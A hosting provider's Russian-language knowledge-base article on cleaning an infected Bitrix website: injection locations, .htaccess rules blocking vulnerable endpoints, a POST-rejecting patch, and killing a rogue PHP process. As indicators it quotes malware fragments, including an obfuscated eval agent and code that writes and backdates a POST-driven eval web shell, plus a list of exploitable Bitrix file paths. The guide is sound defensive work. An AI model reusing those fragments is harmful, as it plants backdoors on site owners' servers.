База знаний
Что делать, если Ваш сайт на Битрикс был заражен
Опубликовано Анастасия Батулкина on 09 March 2023 11:30

Перед восстановлением сайта из архива в первую очередь скачайте архив по ссылке, предоставленной сотрудником поддержки или воспользуйтесь инструкцией для создания архива текущих файлов сайта.

Для скачивания архива рекомендуем использовать ftp доступ:
https://support.rusonyx.ru/index.php?/Knowledgebase/Article/View/607/0/kk-poluchit-ssh-i-ftp-dostup

Если на сервере достаточно свободного места, Вы можете переместить текущие файлы сайта и дамп бд в отдельный каталог, создав его через менеджер файлов панели Plesk. 

После этого Вам необходимо распаковать архив на своем компьютере и проверить его на наличие вредоносного кода.

 

Наиболее частые способы внедрения вредоносного кода:

- заменяют index.php в корне сайта,

- удаляют файл /bitrix/.settings.php,

- внедрение вредоносного кода в файл bitrix/js/main/core/core.js вида "s=document.createElement(script)"

- внедрение вредоносного кода в bitrix/modules/main/include/prolog.php вида "<sc ript src='https://code.jquery-uii.***/jquery-***'></sc ript>"

- вредоносный скрипт также может создавать лишние файлы под видом нужных для работы сайта, например,/bitrix/components/bitrix/main.file.input/main.php или /bitrix/components/bitrix/main.file.input/set_list.php 

- создают скрипты Агенты с вредоносным кодом, создаются подобные агенты:

- $arAgent["NAME"];eval(urldecode(strrev('b3%92%92%22%73%b6%34%a5%b6%76%34%26%86%a5%85%a5%73%b6%96%....

- $fName = str_replace('/modules/main/classes/mysql', '', dirname(__FILE__)).'/admin/composite_seminarians.php'; $files = scandir(dirname($fName)); file_put_contents($fName, '<?php V47dc049a84b(@$_POST[\'c3a1e58\']); function V47dc049a84b($I018d087c){ @eval($I018d087c); } ?> '); touch($fName, filemtime(dirname($fName).'/'.$files[2]));

- создают файл /bitrix/tools/putin_***lo.php с кодом для удаленного доступа

- удаляют данные из таблиц базы данных b_iblock, b_iblock_element, b_iblock_element_property

- по директориям сайта могут быть раскиданы файлы .htaccess, блокирующие доступ к разделам (404 или 403 при обращении к страницам сайта):

<FilesMatch ".(py|exe|php)$">

Order allow,deny

Deny from all

</FilesMatch>

 

<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$">

Order allow,deny

Allow from all

</FilesMatch>

Для предотвращения заражения дальше, стоит выполнить следующие действия.

- Перевести работу сайта на актуальную версию php (если это еще не сделано)
- Обновить Битрикс до актуальной версии (Не всегда это помогает)
- Если на сайте есть модуль "Проактивная защита" /bitrix/admin/security_panel.php - выполнить настройки по рекомендациям модуля
- Проверить сайт инструментом Битрикс "Сканер безопасности" /bitrix/admin/security_scanner.php
- Закрыть доступ к файлам на уровне сервера, временно (например в .htaccess)
 - /bitrix/tools/upload.php
 - /bitrix/tools/mail_entry.php
 - /bitrix/modules/main/include/virtual_file_system.php
 - /bitrix/components/bitrix/sender.mail.editor/ajax.php
 - /bitrix/tools/vote/uf.php
 - /bitrix/tools/html_editor_action.php
 - /bitrix/admin/site_checker.php

Пример как можно ограничить доступы к файлам сайта:

/var/www/vhosts/domain.tld/httpdocs/bitrix/admin/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(site_checker)\.php$>deny from all</Files>

/var/www/vhosts/domain.tld/httpdocs/bitrix/tools/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(html_editor_action|mail_entry|upload)\.php$> deny from all</Files>

/var/www/vhosts/domain.tld/httpdocs/bitrix/modules/main/include/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(virtual_file_system)\.php$> deny from all</Files>

/var/www/vhosts/domain.tld/httpdocs/bitrix/components/bitrix/sender.mail.editor/.htaccess

Добавляем в файле правило. Если файла нет - создаем.

<Files ~ "^(ajax)\.php$> deny from all</Files>

/var/www/vhosts/domain.tld/httpdocs/bitrix/tools/vote/.htaccess

<Files ~ "^(uf)\.php$> deny from all</Files>

В старых версиях битрикс уязвимым местом оказался модуль vote , это модуль опросник. Для того что бы обезопасить себя, в файле:

/var/www/vhosts/domain.tld/httpdocs/bitrix/tools/vote/uf.php над вызовом модуля вписываем:

if ($_SERVER['REQUEST_METHOD'] === 'POST')

{   

    header("Status: 404 Not Found");

    die();

}

Тоже самое и в файле /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/html_editor_action.php

На сервере может присутствовать вредоносный процесс, запущенный через уязвимости сайта, который автоматически может пересоздавать вредоносные скрипты. Для его поиска подключитесь к серверу по ssh и выполните следующее:
ps auxf | grep domain.tld
В выводе Вы можете увидеть вредоносный процесс вида:
admin_f+ 16699  0.0  0.6 323116 10368 ?    SMar02   2:18 /opt/plesk/php/5.6/bin/php /var/www/vhosts/domain.tld/httpdocs/lock666.php

“Убиваем” его с помощью команды:
kill -9 16699
где 16699 - id процесса, который можно увидеть из предыдущей команды.

 

После проверки и очистки файлов, их необходимо запаковать обратно в архив .zip и загрузить в корневую директорию сайта, предварительно очистив каталог от существующих файлов. После очистки корневой директории сайта убедитесь, что в ней не создаются новые файлы. 

 

(0 голос(а))
Эта статья помогла
Эта статья не помогла

Коментарии (0)